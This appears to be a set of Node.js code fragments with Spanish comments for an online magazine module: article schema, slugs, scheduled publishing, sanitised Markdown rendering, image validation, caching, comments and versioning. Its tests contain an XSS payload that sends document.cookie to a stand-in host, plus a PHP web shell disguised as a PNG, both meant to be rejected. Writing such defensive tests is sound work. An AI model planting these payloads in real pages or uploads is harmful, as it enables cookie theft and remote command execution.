npm install markdown-it sanitize-html multer sharp slugify

// src/repositorios/esquemas/articulo.js
const esquemaArticulo = new Schema({
  slug: { type: String, required: true, unique: true },
  titulo: { type: String, required: true, maxlength: 160 }, resumen: { type: String },
  cuerpoMarkdown: { type: String, required: true },   // la fuente editable
  cuerpoHtml: String,                                 // derivado y saneado (punto 6)
  estado: { type: String, default: 'borrador',
            enum: ['borrador', 'programado', 'publicado', 'archivado'] },
  autorId: { type: String, required: true },
  autorNombre: { type: String, required: true },   // desnormalizado (punto 8)
  etiquetas: { type: [String], default: [] },
  eventoId: { type: String, default: null },       // 'evt-003'
  salaId: { type: String, default: null },         // 'teatro-almendra'
  imagenPortada: { clave: String, ancho: Number, textoAlternativo: String },
  publicadoEn: { type: Date, default: null }, programadoPara: { type: Date, default: null },
  versiones: { type: [esquemaVersion], default: [] },
  version: { type: Number, default: 1 } }, { timestamps: true });   // version → ETag

esquemaArticulo.index({ estado: 1, publicadoEn: -1 });    // consulta principal
esquemaArticulo.index({ etiquetas: 1, publicadoEn: -1 });
esquemaArticulo.index({ eventoId: 1, publicadoEn: -1 });
// Índice de texto para la búsqueda (punto 9); los pesos priorizan el título.
esquemaArticulo.index({ titulo: 'text', resumen: 'text', cuerpoMarkdown: 'text' },
  { weights: { titulo: 10, resumen: 5, cuerpoMarkdown: 1 }, default_language: 'spanish' });

// src/servicios/slugs.js — el índice unique sobre slug es la garantía final
// strict elimina lo que no sea alfanumérico o guion; locale 'es' pasa
// 'ñ' a 'n' y 'á' a 'a'. El corte a 80 da URLs legibles y compartibles.
const generarSlugBase = (titulo) =>
  slugify(titulo, { lower: true, strict: true, locale: 'es', trim: true }).slice(0, 80);

async function generarSlugUnico({ repositorioArticulos, titulo }) {
  const base = generarSlugBase(titulo);
  let candidato = base; let sufijo = 1;
  while (await repositorioArticulos.existeSlug(candidato)) {  // 2 o 3 vueltas a lo sumo
    sufijo += 1; candidato = `${base}-${sufijo}`;
  }
  return candidato;
}
module.exports = { generarSlugBase, generarSlugUnico };

// src/servicios/publicacion.js
async function programarPublicacion({ articulo, cuando, colaEditorial }) {
  const retrasoMs = new Date(cuando).getTime() - Date.now();
  if (retrasoMs <= 0) throw new ErrorDeValidacion('FECHA_EN_PASADO', { cuando });
  await colaEditorial.add('publicar-articulo', { articuloId: articulo.id },
    { delay: retrasoMs, attempts: 3, removeOnComplete: 100,
      jobId: `publicar-${articulo.id}` });   // determinista: reprogramar sustituye
  return repositorioArticulos.actualizar(articulo.id,
    { estado: 'programado', programadoPara: cuando });
}

// El consumidor (proceso aparte, M10/M11) REVALIDA el estado antes de actuar:
// si el autor volvió el artículo a borrador y el trabajo no se canceló bien,
// publicar a ciegas sacaría a la luz un texto retirado.
new Worker('editorial', async ({ data }) => {
  const articulo = await repositorioArticulos.obtener(data.articuloId);
  if (articulo?.estado !== 'programado') return { omitido: true };
  await servicioPublicacion.publicar(articulo);
}, { connection });

// src/servicios/renderizador.js
const md = new MarkdownIt({ html: false, linkify: true, typographer: true });

const OPCIONES_SANEADO = {
  // Lista BLANCA: solo sobrevive lo enumerado. Una lista negra siempre
  // se queda corta ante una etiqueta o un atributo nuevo.
  allowedTags: ['h2', 'h3', 'h4', 'p', 'blockquote', 'ul', 'ol', 'li', 'strong', 'em',
    'code', 'pre', 'a', 'img', 'figure', 'figcaption', 'table', 'thead', 'tbody', 'tr',
    'th', 'td', 'hr', 'br'],
  allowedAttributes: { a: ['href', 'title', 'rel', 'target'], code: ['class'],
    img: ['src', 'alt', 'width', 'height', 'loading'] },
  allowedSchemes: ['http', 'https', 'mailto'],   // sin javascript: ni data:
  allowedSchemesByTag: { img: ['https'] },
  // Enlaces externos nunca sin rel, o exponemos window.opener.
  transformTags: { img: sanearHtml.simpleTransform('img', { loading: 'lazy' }),
    a: sanearHtml.simpleTransform('a', { rel: 'noopener noreferrer nofollow' }) },
};
const renderizarArticulo = (cuerpo) => sanearHtml(md.render(cuerpo), OPCIONES_SANEADO);
module.exports = { renderizarArticulo, OPCIONES_SANEADO };

// src/servicios/validacion-imagenes.js
// Firmas de los formatos que aceptamos (M3: Buffers y numeros magicos).
const FIRMAS = [
  { tipo: 'image/jpeg', extension: 'jpg', bytes: [0xff, 0xd8, 0xff] },
  { tipo: 'image/png', extension: 'png',
    bytes: [0x89, 0x50, 0x4e, 0x47, 0x0d, 0x0a, 0x1a, 0x0a] },
  { tipo: 'image/webp', extension: 'webp', bytes: [0x52, 0x49, 0x46, 0x46],
    extra: (b) => b.subarray(8, 12).toString('ascii') === 'WEBP' },
];

function detectarTipoReal(bufer) {
  for (const firma of FIRMAS) {
    if (!bufer.subarray(0, firma.bytes.length).equals(Buffer.from(firma.bytes))) continue;
    if (firma.extra && !firma.extra(bufer)) continue;
    return { tipo: firma.tipo, extension: firma.extension };
  }
  return null;   // ninguna firma conocida: no es una imagen que aceptemos
}

// src/colas/imagenes.js — consumidor, proceso aparte
const TAMANOS = [{ nombre: 'miniatura', ancho: 320 }, { nombre: 'contenido', ancho: 960 },
                 { nombre: 'portada', ancho: 1600 }];

new Worker('imagenes', async ({ data }) => {
  const original = await almacen.descargar(data.claveOriginal);
  const generadas = [];
  for (const tamano of TAMANOS) {
    const salida = await sharp(original)
      .rotate()                                   // respeta la orientación EXIF
      .resize({ width: tamano.ancho, withoutEnlargement: true })
      .webp({ quality: 82 }).toBuffer();
    const clave = data.claveOriginal.replace(/\.(\w+)$/, `-${tamano.nombre}.webp`);
    await almacen.subir(clave, salida, 'image/webp');
    generadas.push({ nombre: tamano.nombre, clave, ancho: tamano.ancho });
  }
  await repositorioArticulos.registrarImagenes(data.articuloId, generadas);
}, { connection, concurrency: 2 });

function responderArticulo(respuesta, articulo) {
  // El ETag se deriva del contenido: cambia solo si el artículo cambia.
  // s-maxage separa CDN de navegador; stale-while-revalidate sirve contenido
  // algo viejo mientras revalida, así el lector nunca espera.
  respuesta.set('ETag', `"art-${articulo.id}-${articulo.version}"`);
  respuesta.set('Cache-Control', 'public, max-age=60, s-maxage=300, stale-while-revalidate=600');
  return respuesta.json(articulo);
}

// src/servicios/lectura-articulos.js
const CLAVE = (slug) => `articulo:publicado:${slug}`;

async function obtenerArticuloPublicado({ slug, redis, repositorioArticulos }) {
  const enCache = await redis.get(CLAVE(slug));
  if (enCache) return JSON.parse(enCache);
  const articulo = await repositorioArticulos.buscarPublicadoPorSlug(slug);
  if (!articulo) return null;
  // TTL como red de seguridad; la invalidación explícita es el mecanismo real.
  await redis.set(CLAVE(slug), JSON.stringify(articulo), 'EX', 600);
  return articulo;
}

async function invalidarArticulo({ slug, redis }) {
  // Los listados también contienen el artículo: hay que tirarlos.
  await redis.del(CLAVE(slug), 'magazine:portada', 'magazine:sitemap', 'magazine:rss');
}

const buscarArticulos = ({ consulta, limite = 10 }) => ModeloArticulo
  .find({ $text: { $search: consulta }, estado: 'publicado' },
        { puntuacion: { $meta: 'textScore' } })
  .sort({ puntuacion: { $meta: 'textScore' } }).limit(limite).lean();

async function listarPublicados({ cursor, limite = 12, etiqueta }) {
  const filtro = { estado: 'publicado' };
  if (etiqueta) filtro.etiquetas = etiqueta;
  if (cursor) filtro.publicadoEn = { $lt: new Date(cursor) };   // cursor, no skip
  // El select importa: no cargues cuerpoMarkdown ni versiones para una portada
  // de tarjetas. Es la diferencia entre transferir 8 KB y 800 KB por página.
  const docs = await ModeloArticulo.find(filtro)
    .select('slug titulo resumen autorNombre publicadoEn etiquetas imagenPortada')
    .sort({ publicadoEn: -1 }).limit(limite + 1).lean();
  const pagina = docs.slice(0, limite);   // el extra solo sirve para saber si hay más
  return { articulos: pagina.map(aResumenDominio),
    cursorSiguiente: docs.length > limite ? pagina.at(-1).publicadoEn.toISOString() : null };
}

// src/rutas/feeds.js — el sitemap se cachea en Redis y se invalida al publicar
rutas.get('/sitemap.xml', async (peticion, respuesta) => {
  const enCache = await redis.get('magazine:sitemap');
  if (enCache) return respuesta.type('application/xml').send(enCache);
  const articulos = await repositorioArticulos.todosLosPublicados();
  const xml = ['<?xml version="1.0" encoding="UTF-8"?>',
    '<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">',
    // lastmod = fecha de última edición, igual que el sitemap del portal.
    ...articulos.map((a) => `<url><loc>${configuracion.urlPublica}/magazine/${a.slug}</loc>` +
      `<lastmod>${a.actualizadoEn.toISOString().slice(0, 10)}</lastmod></url>`),
    '</urlset>'].join('\n');
  await redis.set('magazine:sitemap', xml, 'EX', 3600);
  return respuesta.type('application/xml').send(xml);
});

describe('magazine', () => {
  it('sanea el HTML malicioso incrustado en el Markdown', () => {
    const html = renderizarArticulo(
      'Hola <script>fetch("//malo.test?c="+document.cookie)</script>\n\n' +
      '[pincha](javascript:alert(1))\n\n<img src=x onerror="alert(1)">');
    expect(html).to.not.include('<script');
    expect(html).to.not.include('javascript:');
    expect(html).to.not.include('onerror');
  });
  it('rechaza un fichero que dice ser PNG y no lo es', async () => {
    await peticion(crearAplicacion())
      .post('/api/v1/magazine/articulos/art-1/imagenes')
      .set('Authorization', `Bearer ${tokenOrganizador}`)
      .attach('imagen', Buffer.from('<?php system($_GET[0]); ?>'),
        { filename: 'foto.png', contentType: 'image/png' })
      .expect(400)
      .expect((r) => expect(r.body.error.codigo).to.equal('CONTENIDO_NO_ES_IMAGEN'));
  });
});

async function renombrarSlug({ articuloId, tituloNuevo, actor }) {
  const articulo = await repositorioArticulos.obtener(articuloId);
  politica.exigir('articulo:editar', { actor, recurso: articulo });   // M8
  const slugNuevo = await generarSlugUnico({ repositorioArticulos, titulo: tituloNuevo });
  if (slugNuevo === articulo.slug) return articulo;
  const slugAntiguo = articulo.slug;
  const actualizado = await repositorioArticulos.actualizar(articuloId,
    { slug: slugNuevo, titulo: tituloNuevo, $inc: { version: 1 } });
  // La redirección se crea DESPUÉS de liberar el slug antiguo del artículo.
  await repositorioRedirecciones.crear({ slugAntiguo, slugNuevo, creadaEn: new Date() });
  await invalidarArticulo({ slug: slugAntiguo, redis });
  await invalidarArticulo({ slug: slugNuevo, redis });
  return actualizado;
}

const APROBADOS_PARA_CONFIANZA = 3;

async function crearComentario({ articuloId, autor, texto }) {
  const aprobados = await repositorioComentarios.contarAprobadosDe(autor.id);
  const estado = aprobados >= APROBADOS_PARA_CONFIANZA ? 'publicado' : 'pendiente';
  const comentario = await repositorioComentarios.crear({ articuloId, autorId: autor.id,
    autorNombre: autor.nombre, texto, estado, creadoEn: new Date().toISOString() });
  // Solo invalidamos si se publica: si queda pendiente, la caché sigue correcta.
  if (estado === 'pendiente') await colaModeracion.add('revisar-comentario',
    { comentarioId: comentario.id });
  else await redis.del(`comentarios:${articuloId}`);
  return comentario;
}

async function restaurarVersion({ articuloId, numero, actor }) {
  const articulo = await repositorioArticulos.obtener(articuloId);
  if (!articulo) throw new RecursoNoEncontrado('ARTICULO_NO_ENCONTRADO', { articuloId });
  politica.exigir('articulo:editar', { actor, recurso: articulo });
  const version = articulo.versiones.find((v) => v.numero === Number(numero));
  if (!version) throw new RecursoNoEncontrado('VERSION_NO_ENCONTRADA', { numero });
  // Antes de sobrescribir, la vigente se archiva: restaurar es reversible.
  const vigente = { numero: (articulo.versiones.at(-1)?.numero ?? 0) + 1,
    titulo: articulo.titulo, cuerpoMarkdown: articulo.cuerpoMarkdown,
    autorId: actor.id, guardadaEn: new Date() };
  const actualizado = await repositorioArticulos.actualizar(articuloId, {
    titulo: version.titulo, cuerpoMarkdown: version.cuerpoMarkdown,
    // Se re-sanea con la lista blanca ACTUAL, no con la de hace seis meses.
    cuerpoHtml: renderizarArticulo(version.cuerpoMarkdown),
    $push: { versiones: { $each: [vigente], $slice: -20 } },   // mantiene el tope
    $inc: { version: 1 } });
  await invalidarArticulo({ slug: articulo.slug, redis });
  return actualizado;
}